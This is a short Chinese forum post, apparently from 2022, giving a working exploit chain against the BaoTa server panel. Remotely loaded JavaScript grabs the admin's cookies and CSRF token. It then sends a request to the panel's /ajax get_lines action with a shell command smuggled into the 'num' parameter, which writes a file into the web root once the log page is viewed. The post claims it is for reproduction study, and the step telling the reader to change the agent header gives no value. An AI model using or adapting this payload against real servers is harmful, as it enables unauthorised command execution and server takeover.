声明：漏洞信息来自于网上，仅限用于漏洞复现学习。
这个漏洞稍微有点鸡肋，首先需要web目录，比如默认的/www/wwwroot/xxx/
然后需要调用远程的js文件，web目录自己更改
[AppleScript] 纯文本查看 复制代码 //JQuery preload (optional)
(function(){
var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code.jquery.com/jquery-2.1.4.min.js';
(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s);
})();
// cookie
let cookies = document.cookie;
function getCookie(sKey) {
if (!sKey) { return null; }
return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
}
all_headers = {
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
"Connection":"close",
"Accept-Encoding":"gzip, deflate",
"dnt":"1",
"sec-gpc":"1",
"Cookie": cookies,
"x-cookie-token": getCookie('request_token'),
"Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8",
"x-http-token": $('#request_token_head').attr('token'),
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"
}
$.ajax({
url: "/ajax",
type: "get",
data:
{"action":"get_lines","filename":"/etc","num":"|echo 'BT RCE TEST'> /www/wwwroot/web目录/1.txt|"}
,
headers: all_headers,
success: function (data) {
console.info(data);
}
});
提交请求即可，修改agent头为：
鸡肋的地方来了，需要点击日志功能才可以触发写入文件
漏洞原理：宝塔面板存在xss，通过远程调用js功能触发xss+csrf写入文件 | 
匿名
发表于 2022-7-20 12:01:30
